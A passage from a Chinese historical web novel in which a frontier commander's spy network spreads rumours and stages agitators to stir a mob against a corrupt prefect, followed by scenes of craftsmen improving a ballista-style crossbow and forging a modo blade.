他投入了大量的“时间”:几乎每天夜里,都会抽出至少半个时辰,在训练营给他们上课。
从幽州城的权力架构、各色人等的习性,到如何伪装、如何传递消息、如何建立安全屋、如何反跟踪、如何在被盘问时应对等技巧,
秦猛专程进行许多实战演练,不仅是他亲自教导,还让王善,**等首批亲卫扮演“假想敌”,模拟各种突发情况对他们进行考核。
一次,朱金在模拟接头时因为一个习惯性的“舔嘴”小动作被“盯上”,秦猛让他反复练习了上百次,直到形成新的、无意识的动作为止。
石雄性格沉稳但稍显木讷,秦猛就专门训练他如何在短时间内,做出最有效的判断和行动,模拟了数十种接应队伍时可能遇到的险情。
……
“咳咳……”冯财的思绪被身边“七柳”朱金一声轻微的咳嗽拉回现实。
此刻,坐在他面前的,不再是当初那群惶恐的“萌新”,而是铁血军寨情报网络在幽州城的核心骨架。
冯财坐在主位,面具下的手心沁出细汗——即便经了秦猛近乎开小灶,两个多月严苛的训练,这还是他第一次主持如此重要的会议。
他刻意压低嗓音,让声音沙哑得像磨过砂石:“诸位,‘客人’不请自来,进了‘主家’的门。是冲咱们‘老家’的根基来的,都说说想法。”
“客人”是黑狼部落使者,“主家”是幽州刺史府,“老家”便是铁血军寨。
话音未落,身上带着一股洗不掉的淡淡异味、戴着“豕”面具的三炮赵贵率先开口,语气带着底层摸爬滚打练就的果断:“那还说个啥?立刻用‘一级信道’把这则消息送回老家。”
“送了,得知消息时就让信使送回。”戴着“犬”面具的二哈王二开口补充,声音沙哑而难听。
“另外动用暗线,确认昨天黄昏时分,有一伙草原人从北门入城。于半夜三更,去了刺史府。”
“消息确认后,才召集各位商议。”
第267章 谍战,**第二阶段
“消息属实,不管有没有勾结**,咱们先下手为强,后下手遭殃,把这屎盆子先给崔老狗扣实了。如上次那样不管有用没用,先糊他一脸。”
三炮哥赵贵性格耿直,比较暴躁,又是幽州城未来的粪霸候选者,手下管着两百号掏粪工,他这一说话底气十足,一股味道扑面而来。
“等到了晚上,让我手下那些‘夜香郎’(掏粪工)们动起来,他们走街串巷,消息散得比风还快。待群情激愤时,便往撮鸟家泼粪。”
“保证泼得比他们府邸的人拉得多……”
“兄弟,打住!”戴着“柳”面具、身材微胖的七柳朱金一阵反胃,赶忙起身制止住三炮的话。
“三炮哥说得对。”他又恭维一句,阴恻恻地笑了笑:“不过,这散消息,也要讲究个火候。”
“老板培训时说过,**如水,要因势利导。上次我们小试牛刀,已让崔老狗等人灰头土脸。
这次,咱们得给他来个‘火上浇油’,却要小心。
不如先从达官贵人流连的春花楼开始,让‘闲谈’变成‘公论’,再通过市井小民之口,变成‘民愤’。让全城百姓都知道他们的父母官,又在和杀他们亲人的**眉来眼去,暗通款曲。”
戴着“虎”面具、身形魁梧的大虎石雄沉声道,声音如同磐石般稳定:“朱掌柜思虑周详。
我来前,老板特别强调,**攻势分为多个阶段。此次正好作为第二阶段之始,旨在激化矛盾,彻底把事情暴露开,使其不敢轻易妄动。
我行动队已在城外准备就绪,可随时接应可能暴露的弟兄。消息扩散的节奏,我建议分波次进行,让官府疲于奔命,摸不清**虚实。”
“同意虎队长意见。”二哈王二言简意赅地附和。
戴着“豺”面具、显得老成持重的四豺周福补充道,带着行商的谨慎:“这则消息必须传开,但‘铺子’(各联络点)的安危乃是根本。
我建议,核心渠道动起来的同时,所有外围眼线立即进入静默,像冬眠的蛇一样藏好了。
崔文远经上次一遭,此番**会更加狂暴,定会像疯狗一样反扑,全城大搜捕不可避免。”
“老哥所虑极是。”总管冯财点了点头,面具下的目光锐利,“那么,具体执行也得有个章程。
朱掌柜,春花楼那边,由你负责物色人选,要可靠,最好是能接触到清谈文人或富家子弟的。
三炮,你的夜香郎是第二波。五熊,你的码头脚夫为第三波,等花楼那边的风声起来,立刻在茶楼酒肆、码头货场把细节‘补充’进去。
二哈,这回,你那里这次不要参与。
石队长,你的人暗中策应,确保我们的人散播消息后能安全撤离。周老哥,商队那边的渠道也准备好,必要时刻,把消息带到其他州县,让幽州刺史崔文远勾结**之事无所遁形。”
“若是对方恼羞成怒,狗急跳墙,出动军队当如何?”
“让他们尽管调动,顶多就是封锁全城,大搜捕。”
“至于想加害百姓,他们没那个胆子。”
“没错,咱幽州可是有数万边军驻扎。”
“或许在其他州府,能够用地方军队强行弹压**。可在这边垂之地,幽州虎贲军才是柱石。”
众人低声领命,细节在高效的讨论中迅速完善。如何散播消息,如何推波助澜,如何领头组织民众**,又如何迅速出城避避风头等。
他们不再是当初需要手把手教导的雏鸟,而是在秦猛倾注大量心血与资源搭建的平台上,能够独当一面、协同运作的情报核心骨干。
这场仅持续了两刻钟的密会,敲定**战第二阶段,决定了即将席卷幽州城的又一场风暴的形态。
会议结束,众人无声起身,按照严格的程序,依次悄然离去。
从前院或后院不同的通道走出时,他们已卸去伪装,或变回憨厚的码头脚夫头头(五熊秦三郎)
或变回精明的行商(四豺周福)
或依旧是那个浑身异味却无人关注的掏粪工(三炮赵贵),无声无息地融入了幽州城喧嚣的街巷之中。
唯有明月楼东家,“总管”冯财和酒楼掌柜“七柳”朱金留在原地,对视一眼,眼中尽是凝重与决然。
幽州城谍战打响,棋盘上,一颗颗看似微不足道,却蕴含着惊人能量的棋子,在悄然落位。
风暴,即将由他们亲手掀起。
……
位于幽州城最繁华地段的“春花楼”,乃是达官贵人一掷千金的销金窟。丝竹管弦,莺歌燕语,暖意熏人,与外面的冰天雪地恍如两个世界。
入夜,二楼雅间“听雪轩”内,几名看似文士打扮的客人正围坐饮酒,身边有娇媚的女子作陪。
酒过三巡,菜过五味,其中一人似乎微醺,提高了些许声调,对同伴道:“哎,你们可听说了?昨天城门关闭之前,城里可是来了‘贵客’!”
同伴配合地问道:“哦?何等贵客?能让仁兄如此在意?”
那文士压低声音,却又恰好能让邻桌隐约听见:“还能有谁?北边来的,带着一身羊膻味的。
昨天半夜,悄悄进了刺史府,直到四更天都没见出来。
神神秘秘的,不知又在谋划什么见不得人的勾当!”
这话立刻引起了旁边几桌客人的注意。有人凑过来好奇打听:“这位兄台,此话当真?**使者又来了?”
“千真万确!我有一远房表亲在刺史府衙当差,昨夜恰好轮值,亲眼所见,高颧骨,深眼眶
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,不是**又是谁?”另一名“文士”信誓旦旦地补充。
“想我幽州边陲多少百姓遭**屠戮,可恨至极。”
“世风日下,人心不古,我幽州官僚竟是如此?”
“嘘,兄台莫要多说,喝酒喝酒。”
……
这消息如同滴入油锅的水,瞬间在春花阁内炸开。
陪酒的姑娘们听得花容失色,客人们则交头接耳,议论纷纷。却没人注意那几个文人匆匆离去。
很快,端酒送菜的小厮们也听到了这个惊人的消息,并在后院、厨房等仆役**的地方迅速传播开来。
而这时,更有“知情者”开始补充细节,声音充满了煽动性:“何止是来了!听说是因为他们在边境劫掠,碰上了硬茬子,吃了大亏,连林郡守的家眷都有人敢抢,幸好边军救援。
这群狼戎**吃了亏,打不过,于是连夜跑来向咱们崔大人哭诉求援来了。听说送了许多金银珠宝,想让咱们幽州的兵去给他们报仇呢!”
“什么?要让咱们的子弟兵又去打边军,为**卖命?”
“崔大人难道又要和**勾结?”
“该死,这岂不是要引狼**么?”
……
三人成虎,何况是这么多人议论?
愤怒的情绪在春花楼各雅间和大厅内迅速蔓延,并随着那些离去的客人、这消息开始扩散。
风声传开后,三炮赵贵麾下两三百号收粪工,两人一组,推着车,拎着扁担,挨家挨户撬开门,或故意彼此议论,或顺嘴提及崔大人……
原本在码头找活吃饭,清闲下来的脚夫与工人们,分散在菜市场,混迹在赌坊,作坊等地方打临工,作为第三波人员,四处议论此事。
以及老周熟悉的多支商队,也听到这个风声散播。
在这些有心人的推波助澜之下,**深夜送礼崔刺史的消息,像瘟疫一样扩散到整个幽州城。
一些道听途说却好面子的人,见自己被人怀疑,更是拍着胸脯,信誓旦旦,如同亲眼所见那般。
短短两三天,流言被添油加醋,传得沸沸扬扬。
以讹传讹之下,各种陈芝麻烂谷子的事儿也被扒出来,官僚往草原输送粮食和铁料等物资这件,刚沉寂下去没多久的事儿又被人热议着……
真的假的,好的赖的,或是捕风捉影,如当街强抢良家妇女,偷看寡妇洗澡,欺压商旅……
各种龌龊事儿,一股脑地扣在了崔大人的头上。连带着,他手下几个得力爪牙鹰犬也没跑掉。
今日一早,杨家、孙家、苏家等官绅豪强府宅,大门前,院子,甚至伙房附近被人丢了粪。
一股恶臭,弥漫在这些深宅大院之中,顿时令幽州别驾,治中,长史这些大人物心沉到谷底。
第268章 民怨沸腾,帅司入场
幽州城的积雪,仿佛都被一股无形的怒火所融化。
铁血军寨暗部精心策划的“第二阶段”**攻势,不再是简单的流言蜚语,而是逐渐有议论,演变成了一场有组织、有步骤的民众行动。
在“三炮”赵贵麾下收粪工们走街串巷的“闲聊”铺垫下。
在“五熊”秦三郎影响的码头脚夫、工人们于市井间的“愤慨”议论中。
尤其是在“四豺”周福联系的商队将消息扩散出城后,整个幽州城已然成了一个巨大的**桶。
真正的风暴眼,始于一场全城范围的“搜鞑”行动。
这并非完全自发,而是在暗探引导下的有序行为。
在各处人员汇聚,流言达到顶峰时,几个由“大虎”石雄的行动队队员混入其中,充当骨干的青壮团体,首先在城东菜市口**。
一名身材高大的汉子跳上石墩,振臂高呼:“乡亲们!光嚷嚷没用!崔官爷装聋作哑,咱们不能干等着**兵打进来!
咱得自己动手,把藏在城里的**细作揪出来!”
“对,抓**!”台下应声如雷。
“那些狼戎**,高颧骨、深眼窝,面相凶恶,好认得很!咱们多招呼一些人加入,守住四门,盘查生面孔,在城里扫荡,看他们往哪儿藏!”
“好组织起来。”
“每条街坊都出人,轮流值守,发现可疑分子,立刻敲锣示警!”
榜样的力量是无穷的。这套简单易行的方案迅速得到响应。
在暗探人员有意无意的引导下,幽州城仿佛一夜之间进入了“战时状态”。青壮年们自发以街坊、行会为单位组织起来,手持锄头、扁担、菜刀,甚至还有人家拿出了祖传的锈蚀腰刀。
城门口,不再是官兵独自把守,更多了许多眼神警惕的百姓“协防”,任何相貌带有北方胡人特征的商旅,都会受到反复的、充满敌意的盘问。
城内,巡逻队一队接一队,重点排查客栈、货栈、废弃房屋。
偶尔有西域来的商人倒霉撞上枪口,被愤怒的民众围住,虽经解释和查验路引后大多释放,但也吓得魂不附体,被集中“保护”起来,以免被误伤。
而真正的狼戎使者阿古拉一行人,则如同掉进沸水里的老鼠,四处乱窜,东躲西藏。
他们原本藏身的客栈被民众自发搜查,险些暴露,只得连续更换藏身地点,惶惶不可终日。
这种“全民搜奸”的氛围,极大地压缩了官府的运作空间,也让崔文远试图秘密处理此事的打算几乎破产。
最主要的是,这些平头百姓在行动中,突然发现,只要人多**起来,刺史府官兵不敢阻拦,连大声喝斥都不敢,这是以往不曾有过的。
人们情绪不断高涨,如同官差般搜捕。对官府的信任降到了冰点,也像一颗种子埋入心中。
而转折点就在今日,出现在几个看似自发、实则有心的“壮汉”振臂一呼之后。他们并非乌合之众,而是暗部精心挑选并安排的人手,个个身形魁梧,声音洪亮,在人群中极力煽动。
“乡亲们呐!官府不作为,往年往草原送粮送铁,资助敌人,现在又要引**兵来杀咱们自己人,我们能答应吗?”一名汉子大声呼吁着。
“不答应!绝不答应!”人群中,早有安排的“自己人”带头呐喊响应,声浪一波高过一波。
“这里是我们的家!保护妻儿老小,靠不了狗官,只能靠我们自己!”
“对!去刺史府问个清楚。”
“找崔文远要个说法,问问他到底是不是汉奸!”
有人带头,就有人跟随。
压抑已久的恐慌和对官僚的不满瞬间被点燃。青壮年们自发组成队伍,手持锄头、扁担,如同溪流汇入江河,从各条街道向刺史府涌去。
人越来越多,胆气一下子壮了,许多觉得苛捐杂税繁重的百姓,情绪一下子爆发,到处是骂声。其中一些遭到**的商贾,趁机鼓噪喊杀。许多人眼眶泛红,握紧的手里的棍棒。
这是即将**的征兆,控制不好,就是民变。刺史府及数千厢军挡不住这股动荡被冲垮。到时候幽州城必定大乱,是秦猛不想看到的。
就在人潮涌动,即将失控,冲击刺史府的刹那——
“放肆!聚众**,欲冲击官府,尔等想**不成?”
这时,边军帅司坐落的方向,马蹄声突然如雷般响起。一队盔明甲亮、杀气腾腾的边军铁骑疾驰而来,当先一员大将,正是身穿红色官袍外罩文人铠的边军统帅吴振,正大声怒吼。
他率领精锐亲卫,犹如一阵风般,恰巧拦在了沸腾的民众与摇摇欲坠的刺史府守卫之间。
边军帅司为何突然出现在这里?那是按照剧本走。
秦猛的战略大方向是不能变的。**攻势分为四个阶段,第三阶段,崔文远等人狗急跳墙,第四阶段,铁血军寨师出有名的介入收官。
这边军帅司老拖前线后腿,终究要发挥点作用。
如眼下进入**漩涡中。
这正是“总管”冯财与核心骨干们完善后的计划:
引入可控的“秩序”力量,既防止人多胆壮演变成不可控的**,又将边军帅司拉下水,给予刺史府更大的震慑,关键是能够扛下所有。
这一举多得的好事,冯财等情报骨干分析得透彻。
——愤怒的民众汇率的消息被人有
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心传到帅司。吴振虽然跟地方钩心斗角,但他有责任不能让城内发生**,所以立刻率领队伍赶来。
不等铁甲兵卒散开,驱散人群。
“大帅——青天大帅啊!”一名汉子演技精湛,连滚带爬地扑出人群,跪在吴振马前,借助滑溜溜的地面唰的滑出一丈有余,哭天抢地。
“您要为我们小民做主啊!崔刺史他……他深夜勾结狼戎**,收了金山银山,竟然要调兵去打边军,去打为我们百姓出气的铁血军寨。”
“啊——这是要我们的命啊!”
“没错!请大帅您主持公道啊!”
“我们要个说法!”人群再次鼓噪,但这一次,愤怒中带着理智和一丝对“帅司青天”的期盼。
“竟然有这种事?”吴振也得到相关的消息知道,此刻觉得明知故问,见到涌来的百姓越来越多,心里打起了小九九,觉得这是个机会。
几个身穿儒生冬袄的文人走出人群,其中领头的三十来岁的文人,朝吴振抱拳,朗声说道
“大帅,我乃幽州文士刘国栋,草原蛮子猖獗异常,年年犯我边塞,杀我百姓,摧毁我大周边堡。
此乃国仇大恨,那草原狼戎部落赖使,深更半夜跑到刺史府,我等谁不知晓说了什么,但这勾当,必定见不得人,我等岂能容他放肆?”
“今日我们必定要问个清楚,讨个明白,我等文人风骨尚在,边军驻扎幽州,在大帅的带领下,**连连吃瘪,契丹**被打得狼奔豕突。狼戎又算什么东西?我幽州岂容宵小作乱?”
说得好哇!吴振看着说话掷地有声的文士刘国栋,心里不禁赞叹了一声,也暗暗做下了决定
“诸位乡亲,静一静!”吴振抬手,声音威严,“流言止于智者!崔大人乃朝廷命官,岂会行此不义之事?
我等前去问个明白,若属子虚乌有,揪出造谣生事者,还崔大人一个清白;若真有龌龊……”
他顿了顿,目光锐利地扫过刺史府高墙,“本帅和边军数万儿郎,也绝不答应!现在,随本帅前去问询,不得冲击府衙,违令者,军法从事!”
“对对对,大家都听大帅的。”那个跪在地上哭诉的爬起来,大声高呼着,身后百姓纷纷回应。
“有吴大帅在,我们不怕,走,找他们要个说法。”刘国栋被人簇拥着,顿时腰板又挺直三分。他大手一挥,身后众人回应,紧随其后。
有了边军大帅“撑腰”,民众的怒火找到了宣泄的渠道和方向。
在刘国栋等人的引导和边军的“维持秩序”下,乌泱泱的人群不再是**的洪水,而是变成了“**”的洪流,浩浩荡荡地围住了刺史府。
第269章 众怒难犯,弃卒保帅
“狗官,滚出来!给个说法!”
“杀,杀了**狗,绝不容忍勾结!”
“我的儿啊,不要当厢军了,千万不要做糊涂事。”
“**,谁敢调兵帮**,我们就跟谁拼命!”
……
大群百姓、士子,老老少少男男女女,**在刺史府前的街道上,人潮汹涌,群情激愤。
他们手中拿着棍棒、长凳,怒吼声如同雷鸣。怒吼声、咒骂声、哭诉声震天动地,棍棒敲击着地面,积雪和泥浆飞溅,整个幽州城的焦点,都凝聚在了那座威严的府邸大门前。
幽州百姓从四面八方涌来,愤怒的民众如潮水般涌动,围住刺史府,几乎要冲垮府衙的守卫,平时嚣张的衙役被揪出来,打得鼻涕脸肿。
若非边军将士维持着治安,估计真的会**。不顾一切地冲入刺史府,崔文远怕是凶多吉少。
此刻,刺史府内,与外界的喧嚣如同两个世界。
崔文远刚起床,正慢条斯理地享用着燕窝粥,试图用这片刻的宁静安抚连日来的心烦意乱。
然而,这份宁静被狼狈冲入的杨烁、孙强、苏骞等人彻底粉碎。
“大人,不好了!全城……全城的百姓乱了,都把府邸围了!说您…说您勾结**,要**。”
杨烁官帽歪斜,浑身沾满污雪烂泥,声音带着真实的恐惧。回想在外面的情况,他真怕了。
“比上次家眷围困刺史府更要可怕,许多人拿着武器。”孙强,苏骞,庞会等人满脸心有余悸。
“啪嚓!”名贵的瓷碗摔得粉碎,燕窝粥溅了一地。
崔文远的脸色瞬间由红转青,再由青转白。想到这刚跟狼戎谈妥没多久,这消息就走漏了。
府中必定有他人的耳目!
他浑身颤抖,指着外面,声音因暴怒而尖厉:“反了,都反了!一群贱民,安敢如此大胆?定然是有人在煽动百姓。查,给我查,是谁在背后捣鬼!我要将他**万段,诛灭九族!”
苏骞一边抖落领口的冰碴子,一边阴沉地补充:“大人,边防帅司吴大帅也带兵来了,就在外面,看似维持治安,却非但不驱散人群,反而……反而有鼓动之嫌,在看我们的笑话!”
“吴振?果然有他!”崔文远眼中喷火,上次**失控,刺史府就抓了些地痞流氓,没问出推手。
他就怀疑过有军方背景,此刻更是确信无疑:“该死,这老匹夫,竟敢落井下石?”
杨烁强压恐惧,劝说道:“大人息怒!如今民心如火,强行弹压,外面又有边军虎视眈眈,不好杀鸡儆猴,再不处置,恐生大变啊!”
孙强稍微平复一下心情,小心翼翼地问:“大人,街面传言,说前夜确有狼戎使者拜访……此事……”
他是想确认虚实,以便应对。
崔文远冰冷的目光如刀子般劈向他,冷哼一声。孙强立刻噤若寒蝉,但心中已然明了,不由得生出一丝寒意,这位真的跟狼戎暗通款曲。
连带着杨烁、苏骞等人,脸上也浮现出复杂的神色。
这几日自家府邸被泼粪的恶臭,似乎此刻又萦绕在鼻尖,首次对这位上官的决策产生了难以言喻的埋怨。
老谋深算的苏骞深吸一口气,拱手道:“大人,时间紧迫。当务之急,是先平息众怒。不如……将那几个狼戎使者‘请’出来,当众处置,以安民心。丢车保帅,方为上策。”
崔文远胸膛剧烈起伏,但看着心腹们各异的神色,听着门外震天的怒吼,他知道这是唯一的选择。
“好!”他咬牙切齿地从牙缝里挤出几个字:“就……依你所言!狼戎来求援的人就在府上,说是在……杨别驾,你亲自带人去,要‘干净利落’。”
“是!”杨烁领命,眼中闪过一丝狠戾。被人泼粪严重影响他的生活,又无法揪出是谁干的。杨别驾心中已经发狠,怒火转到**身上。
就在杨烁点齐衙役捕快,从后门离开刺史府。他的次子杨浩带着一队精锐厢军赶过来会合。
然而,铁血军寨的情报网络如同潜伏在阴影中的蜘蛛,早已将狼戎鞑躲藏的位置摸得一清二楚。之所以没抓捕,就是等着刺史府来动手。
杨烁有动作时,消息已经被混在围观群众中的暗探,通过特定的手势或暗号,迅速传递开去。
“官府要抓**使者了!”
“快去看啊,就在城西的悦来客栈!”
“快,快去看看。”这消息像风一样在人群中传开。
许多百姓,包括一些半大小子,为了看热闹,纷纷搬来梯子,爬上了周围建筑的屋顶,翘首以盼。
悦来客栈,狼戎使者队伍躲藏在此处。领队阿古拉眉头紧锁,手指无意识地敲击着桌面。
窗外看似平静的茶摊、食肆里,十来道隐晦的视线不时扫过客栈大门,那是他布下的暗哨。
可这份严密的戒备并未带来丝毫安心,想起全城百姓**的样子,一股莫名的心悸始终缠绕在他心头,仿佛暗处有张无形的网正在收紧。
“长生天保佑,希望崔文远这个老狐狸能言而有信,派来的人尽快赶到……”他喃喃自语,端
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起酒杯想压一压心中思绪,可酒还未沾唇——
“砰!”
楼下猛地传来一声巨响,紧接着,便是桌椅碎裂、碗碟坠地的嘈杂,以及伙计的惊叫和怒喝。
阿古拉脸色骤变,豁然起身,召集族中儿郎。
几乎同时,房门被一股巨力从外面轰然被撞开!木屑飞溅中,只见顶盔贯甲的幽州别驾从事杨烁,手持横刀,一脸冷峻地当先闯入。
身后,是全副武装、如狼似虎的官军,刀光雪亮,瞬间挤满了门口走廊,外面捕快包围着。
“阿古拉!尔等狼戎细作,事发了!束手就擒!”杨烁声如寒铁,恶人先告状,毫无回旋余地。
“崔文远安敢欺我!”阿古拉瞬间明白了,惊怒交加,双眼赤红,咆哮道,“儿郎们,拼了!”
“铿铿锵锵!”
狭小的空间内,战斗瞬间爆发!
阿古拉武艺高强,手下数十号部落勇士也拼死抵抗,刀光剑影,喝骂声、惨叫声不绝于耳。
但终究寡不敌众,一个接一个倒下,很快被制服。在被砍翻时,阿古拉剧烈挣扎,用汉语疯狂咆哮:“汉狗卑鄙!崔文远,王八蛋!”
“你收了金子不办事。长生天会惩罚你的,你将不得好死——”
这充满背叛愤怒的咒骂,在寂静的街巷中清晰地传到了附近屋顶上,看热闹的百姓耳中。
“听到了吗?那**骂崔大人收钱不办事!”
“实锤了,狗官果然勾结**!”
民愤非但没有平息,反而更加汹涌。
刺史府的官员硬着头皮出来辟谣,声称崔大人深明大义,已将“擅入城邦、图谋不轨”的**细作擒获。
为平息民愤,即刻在菜市口斩首示众。嗯。
可怜的阿古拉,刚从百姓手下捡回一条命,本想搬救兵复仇,却成了**斗争的牺牲品。入幽州城没几天,就被推上法场,人头落地。
这一幕血腥的“弃卒保帅”,虽然暂时堵住了悠悠众口,但崔文远勾结**的嫌疑在民众心中已如铁案。
暗探们混在人群中,引导着议论方向,让大家都明白这不过是崔文远的“断尾求生”之计。
而更让崔文远吐血的是,他准备下令抓捕带头人等时。边军统帅吴振,以“核查边情,安抚军民”为名,带着亲兵挡住,并入了刺史府,与崔文远进行了一场无人知晓内容的“恳谈”。
“官府抓人啦,快走快走!”
“各回各家,各找各妈喽!”人群中不知谁呼吁着,汇聚的百姓哈哈大笑,顿时一哄而散。
第270章 权谋暗涌,匠坊争鸣
幽州城,刺史府邸。
那扇气派的朱红大门嘎吱打开,吴振大帅从府内迈步而出时,白净脸上的表情阴沉而严肃。
他步伐沉稳,但眼尖的门房和远处茶楼上的窥探者都注意到。
吴大帅身后的亲兵们颇为吃力地抬着三口沉甸甸的樟木箱子,箱体古朴,却透着沉甸甸的分量,在寂静的衙门前,“哐啷”声显得格外清晰。
不到一个时辰,城内几处仓储房的门悄然打开。一辆辆覆盖着厚厚油布的马车,在几名帐房文吏的押送下,驶向了边军帅司所在的方向。
这世上没有不透风的墙,尤其在这民乱平息后的边陲重镇,幽州府库紧急调拨大量钱粮物资至帅司的消息,像长了翅膀一样在城内传开。
市井巷陌间,百姓们交头接耳,议论纷纷,一致认为,这是幽州官僚服软,为了安抚边军。
与此同时,几批看似寻常的行商在特定时间,于不同城门接应到惹眼的目标,迅速出了城。
城内几处不起眼的杂货铺、客栈,也悄然挂出了“东家有喜,歇业数日”的牌子。所有的暗探联络点,情报收集站迅速陷入死寂般的平静。
就在这片平静之下,崔文远把吴振给记恨上了,同时他开始抓奸细,自府邸内部逐一排查,接着派遣大群捕快官兵,在全城范围搜捕。
可在别人有计划的组织下,他们却是姗姗来迟。
人声鼎沸的明月楼内,总管冯财伏在案前,将幽州几日来暗部组织民众、吴振入刺史府、物资调拨、暗探静默等事无巨细,用工整的小楷写成加急密报,用火漆封好,唤来心腹信使。
“务必亲手交到老板手中,沿途小心,不得有误!”
“是!”随着信使领命而去,第二封密信送回军寨。
而第一封情报信件已经送抵达军寨。
铁血军寨,军器监,木工坊内。
秦猛刚巡视完衣甲坊新缝制的一批棉衣皮甲,马皮硝制处理,缝补的铆钉皮甲质防御力很强,这让他又产生出贩卖**来获利的想法。
他率领队伍走出衣甲坊,亲兵便送来了幽州的最新密报。
秦猛打开一看,正是“二哈”王二传来的消息:黑狼部落使者入了幽州城,夜访刺史崔文远……
“哼,果然不出所料,”秦猛眼中狠色一闪而逝,低声自语,“幽州这些官僚,果然和草原上的豺狼眉来眼去。
黑狼部落这会子去找崔文远,能有什么好事?八成是送了金银财宝,想赎回穆托达那个废物,顺便还想算计老子这军寨,给咱上点眼药!”
他摩挲着下巴,思绪飞转,带着几分混不吝的痞气:“可惜啊,这帮家伙是吃屎都摸不到厕所门!
找崔文远有个鸡毛用?穆托达是咱军寨的俘虏,又没上报,他崔文远的手还伸不了这么长。
他们要是敢派人来军寨硬要,老子就敢直接咔嚓掉,回头就给崔文远送顶‘勾结狼戎、图谋不轨’的大帽子过去,用屎盆子给他糊个满脸开花!”
“不过嘛……”秦猛语气一顿,眉头微皱,“考虑到赵将军那边的关系,直接在军寨动手,容易落人口实。嗯……那就等他们来的半路动手!
找个山高林密的地方,冒充盗匪,比如叫什么‘阿里巴巴大盗’,或者‘梁山好汉’干**!反正这年头边地不太平,匪患丛生很正常。
到时候人是‘土匪’杀的,黑锅依旧能稳稳扣在崔文远头上,就说他治理无方,**,嘿嘿……”
想到这里,秦猛突然愣了一下,随即摇头失笑:“哎,不对不对……老子自从手头上权力越来越大,现在这思路,怎么越来越像那些老阴比了?”
他脸上露出一丝自嘲的苦笑。环境果然能改变人,在这权力倾轧、危机四伏的边关,他似乎正不知不觉地成了自己曾经厌恶的人。
但为了生存,为了军寨,有些时候,又不得不以毒攻毒,在规则的缝隙里与人钩心斗角——这就是走别人的路,让别人无路可走!
正当他感慨之际,旁边木工坊里传来的激烈争论声打断了他的思绪。
“绝对是结构问题!这床**的轴承承受不住三张强弓同时引发的反震力!”石老三的嗓门洪亮。
“石师傅,我还是觉得是木料不行,韧性不足,换成南边来的铁木,肯定能扛住!”一个年轻些的匠人提出不同看法。
“换铁木?万万不可!这轻小型床**本就是为了机动性,重量已经卡在极限,再换更重的铁木,弟兄们还怎么搬运作战?”另一位老师傅立刻反驳。
“是啊,重量是关键,得在结构和固定上想办法……”
……
坊内,以石老三为首的十余名木工老师傅,加上被请来协助的两名铁匠和衣甲坊擅长制作皮扣的师傅,正围着一架造型奇特的新型床**争论不休。
这床**是经秦猛批准调来进行试验的,在传统式样上做了改良:
**身上加装了一张强弓,与原有的两张弓复合绑缚,并增加了一条轮臂,以增强拉力。
威力测试时,射程提升百多步,但随之而来的是**身剧烈摇晃,射
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击准头全失,最要命的是底座承重轴承在几次试射后出现了裂痕。
秦猛踱步进去,站在人群外围听了一会儿,心中已有计较。他走上前,指着床**的底座支架说道:
“诸位师傅,且听我一言。这衔接之处,能否采用更复杂的榫卯结构,比如‘抱肩榫’或‘挂销楔’,增加咬合力?
此外,可在床**四角加装可伸缩、能楔入地面的铁制或硬木支架,如同桌脚,发射前稳固撑地。这样能极大缓解震动,提高整体稳定性。”
他顿了顿,看到众人若有所思,又补充道:“至于加强床**本身各部件之间的连接稳固,除了榫卯,或许可以尝试一种‘螺纹式接口’。”
他弯腰从地上捡起一根废木料,抽出随身短刀,用刀尖耐心地在木棒一端削出螺旋状的凸起纹路,又找来一段稍粗的竹管,在内壁刻出相应的凹槽。
“看,就像这样,相反方向的螺旋纹路,旋转进去后就能紧紧咬合锁定,难以扯开,比单纯的插销或捆绑要牢固得多,也便于拆卸维护。”
秦猛一边比画,一边解释。
匠人们大多露出惊奇或深思的表情。
尤其是鲁明和石老三,一个对那榫卯结构和地面支架想法拍案叫绝,另一个则对那闻所未闻的“螺纹”结构产生了极大兴趣,连连追问细节。
秦猛其实没有木工实操经验,只是凭着前世记忆里的零星印象,知无不言地描述,他坦诚相告。
“诸位,我也只是提供个思路,具体如何实现,能否用在**上和其他器械上,还得靠大家逐渐摸索。技术革新非一日之功,辛苦各位了。”
就在秦猛对着床**图纸和模型,结合“理论知识”说得兴起时,铁匠坊的李铁匠风风火火地闯了进来,脸上带着抑制不住的兴奋:
“大人,大人!好消息,您之前画图吩咐的那种特制兵器,俺们……俺们总算试着打造出样品了。
您快过去掌掌眼?
顺便……还有点锻造上的难题想向您请教。”
这一下,可惹恼了木工坊的师傅们。
鲁明立刻吹胡子瞪眼:“好你个李黑炭!没看见大人正给咱们指点关键处吗?跑来抢人,忒不地道!”
秦猛见状,笑着摆手制止了众人的抱怨:“好了好了,诸位,贪多嚼不烂,先吃透我说的这些,床**的改进就按刚才议定的方向先尝试。
这些思路对以后的投石车改良也有借鉴意义。”
交代完毕,他便随着心急火燎的李铁匠赶往隔壁铁匠坊。
第271章 陌刀初成,乌维擎刀
铁匠工坊内,打铁声随着热浪滚滚,一股混合着煤炭、铁锈和汗水的独特气味便扑面而来。
坊中央的空地上,几个铁匠学徒围成一圈,目光都聚焦在中央那件刚刚淬火完毕,仍隐隐散发着余温的兵器上。
那是一件形制极其威猛的长柄刀!
通体长度一丈二有余,刀身狭长,笔直如剑,足有三四尺长。双面开刃,闪烁着冷冽的寒光。
刀柄粗长,可供双手握持。整把刀看上去既像剑,又像斩马剑,但更具一种一往无前的劈砍气势。
刀身厚重,估计重量不下三十斤,想要抡动绝非轻松,显然需要极大的臂力和体力才能挥舞。
亲卫队长**和牛五正围着这把刀啧啧称奇。
**尝试单手提起,分量十足,改用双手才能平举,他挥动两下,脸上已露出惊喜之色。
“好家伙!这分量,这长度,要是抡圆了砍出去,啧啧……”
李铁匠昂起头,带着工匠特有的自豪介绍道:“大人,此刀,按您给的图样,俺们几个老师傅带着十多个学徒,用了最好的铁料。
采用包钢法,反复折叠锻打不下百次。光是刃口的夹钢处理,刀柄尾锥开封就费了老鼻子劲,耗时足足是锻造制式环首刀的二十倍有余!
不敢说削铁如泥,但绝对吹毛断发,是难得的宝刀。舞动开来,这一刀下去,莫说是人,就是披着铁甲,战马,也能连人带马劈成两半!”
秦猛眼中精光一闪,这正是他设想中,为即将组建的重甲突击队准备的破阵利器——陌刀。
陌刀是唐朝有名的杀器,是秦猛结合这个时代的大刀类武器改良后,尝试多遍,锻造出来的。
想要发挥这种武器的威力,不仅锻造出刀,还得有合适的人,再长期训练,方能成为陌刀军!
秦猛立刻对身边亲兵吩咐:“去,把乌维那憨货给我叫来!”
不多时,地面传来轻微的震动,壮硕如熊的乌维弯腰踏进工坊。他一来,就被那柄陌刀吸引了目光。
